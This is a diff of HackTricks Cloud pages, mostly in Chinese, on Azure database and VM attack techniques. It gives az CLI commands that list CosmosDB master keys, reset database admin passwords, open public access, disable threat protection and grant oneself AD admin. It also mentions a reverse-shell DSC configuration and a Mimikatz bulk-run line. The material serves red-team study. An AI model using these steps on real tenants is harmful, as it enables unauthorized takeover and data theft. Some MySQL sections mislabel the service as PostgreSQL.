通过此权限,您可以更新 Azure 上 MySQL Flexible Server 实例的配置设置。这允许自定义服务器参数,例如性能调优、安全配置或操作设置。您可以批量更新以下参数:audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors 和 max_connections。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server parameter set-batch \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--args max_connections=<value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
|
||||
通过此权限,您可以将用户分配的托管身份分配给 MySQL 灵活服务器。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
|
||||
|
||||
拥有此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/start/action"
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
|
||||
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,155 @@
|
||||
# Az - PostgreSQL 后期利用
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL 数据库后期利用
|
||||
有关 PostgreSQL 数据库的更多信息,请查看:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
|
||||
|
||||
拥有此权限后,您可以在 Azure 的 Postgres Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
|
||||
|
||||
拥有此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
|
||||
|
||||
通过此权限,您可以配置或更新 Azure 上 Postgres Flexible Server 实例的高级威胁保护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
|
||||
|
||||
通过此权限,您可以创建或修改 Azure 上 Postgres Flexible Server 实例的防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
|
||||
# Update Rule
|
||||
az postgres flexible-server firewall-rule update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
|
||||
|
||||
通过此权限,您可以更新 Azure 上 Postgres Flexible Server 实例的配置设置。这允许自定义服务器参数,例如性能调优、安全配置或操作设置。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server parameter set \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--name <parameter_name> \
|
||||
--value <parameter_value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
|
||||
|
||||
拥有此权限,您可以在 Azure 上停止 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
|
||||
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,93 @@
|
||||
# Az - CosmosDB Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CosmosDB Privesc
|
||||
有关 SQL 数据库的更多信息,请查看:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
|
||||
|
||||
通过这些权限,您可以提升特权,给予用户执行查询和连接到数据库的权限。首先创建一个角色定义,赋予必要的权限和范围。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
|
||||
"RoleName": "CustomReadRole",
|
||||
"Type": "CustomRole",
|
||||
"AssignableScopes": [
|
||||
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
|
||||
],
|
||||
"Permissions": [
|
||||
{
|
||||
"DataActions": [
|
||||
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
|
||||
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
|
||||
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
之后,将定义的分配给用户。之后,该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role assignment create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--role-definition-id <Random-Unique-ID-used-in-definition> \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
|
||||
拥有此权限,您可以检索 Azure Cosmos DB 帐户的主密钥和次密钥。这些密钥提供对数据库帐户及其资源的完全访问权限,使您能够执行数据读取、写入和配置更改等操作。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,91 @@
|
||||
# Az - MySQL 数据库权限提升
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## MySQL 数据库权限提升
|
||||
有关 SQL 数据库的更多信息,请查看:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
|
||||
|
||||
拥有此权限后,您可以在 Azure 上创建、更新或删除 MySQL 灵活服务器实例。这包括配置新服务器、修改现有服务器配置或退役服务器。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server create \
|
||||
--name <ServerName> \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--location <Location> \
|
||||
--admin-user <AdminUsername> \
|
||||
--admin-password <AdminPassword> \
|
||||
--sku-name <SkuName> \
|
||||
--storage-size <StorageSizeInGB> \
|
||||
--tier <PricingTier> \
|
||||
--version <MySQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
例如,这些权限允许更改 MySQL 密码,这在启用 MySQL 身份验证的情况下当然很有用。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法如下:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
|
||||
|
||||
通过此权限,您可以为 MySQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而获得对 MySQL 服务器的完全管理控制。重要的是,flexible-server 必须具有用户分配的托管身份以供使用。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--display-name <ADAdminDisplayName> \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,93 @@
|
||||
# Az - PostgreSQL Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL Privesc
|
||||
有关 SQL 数据库的更多信息,请查看:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
|
||||
|
||||
拥有此权限,您可以在 Azure 上创建、更新或删除 PostgreSQL Flexible Server 实例。这包括配置新服务器、修改现有服务器配置或退役服务器。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server create \
|
||||
--name <ServerName> \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--location <Location> \
|
||||
--admin-user <AdminUsername> \
|
||||
--admin-password <AdminPassword> \
|
||||
--sku-name <SkuName> \
|
||||
--storage-size <StorageSizeInGB> \
|
||||
--tier <PricingTier> \
|
||||
--version <PostgreSQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
例如,这些权限允许更改 PostgreSQL 密码,这在启用 PostgreSQL 身份验证的情况下当然很有用。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法如下:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
|
||||
|
||||
通过此权限,您可以为 PostgreSQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 PostgreSQL 服务器的完全管理控制。尚不支持更新现有主体,因此如果已创建一个,您必须先将其删除。
|
||||
|
||||
重要的是,flexible-server 必须具有用户分配的托管身份才能使用。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--display-name <ADAdminDisplayName> \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 虚拟机与网络
|
||||
## VMS & 网络
|
||||
|
||||
有关 Azure 虚拟机和网络的更多信息,请查看:
|
||||
|
||||
@@ -93,7 +93,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>VMAccess 扩展</summary>
|
||||
|
||||
此扩展允许修改 Windows 虚拟机内用户的密码(如果不存在则创建)。
|
||||
此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,可以通过此扩展在Windows虚拟机中**执行任意命令**:
|
||||
这是一个属于 Microsoft 的 **VM 扩展**,使用 PowerShell DSC 来管理 Azure Windows 虚拟机的配置。因此,可以通过此扩展在 Windows 虚拟机中 **执行任意命令**:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -157,13 +157,13 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>混合运行簿工作者</summary>
|
||||
|
||||
这是一个 VM 扩展,允许从自动化帐户在 VM 中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-services/az-automation-account/)。
|
||||
这是一个 VM 扩展,允许从自动化帐户在 VM 中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-services/az-automation-account/index.html)。
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
这些是 **在 VM 中创建新的画廊应用程序并执行它** 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可能会利用这一点来妥协执行任意命令的 VM 实例。
|
||||
这些是 **在 VM 中创建新的画廊应用程序并执行它** 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可以利用这一点来妥协执行任意命令的 VM 实例。
|
||||
|
||||
最后两个权限可以通过与租户共享应用程序来避免。
|
||||
|
||||
@@ -310,7 +310,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
|
||||
